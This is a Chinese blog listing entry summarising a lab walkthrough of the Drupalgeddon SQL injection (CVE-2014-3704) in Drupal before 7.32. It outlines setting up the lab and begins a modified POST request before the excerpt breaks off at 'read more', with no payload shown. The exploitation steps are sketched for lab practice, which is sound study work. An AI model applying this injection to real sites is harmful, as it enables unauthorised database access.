2021年9月9日
Drupal ＜7.32“ Drupalgeddon” SQL注入漏洞（CVE-2014-3704）
摘要： 1.访问靶场 2.注册，添加账号 数据库名 drupal，账号密码root/root 3.实施注入 可以不输入账号和密码就能够获得数据库相关信息。 修改数据包：、 POST /?q=node&destination=node HTTP/1.1 Host: your-ip:8080 Accept-En 阅读全文
posted @ 2021-09-09 11:23 MCY5 阅读(325) 评论(0) 推荐(0)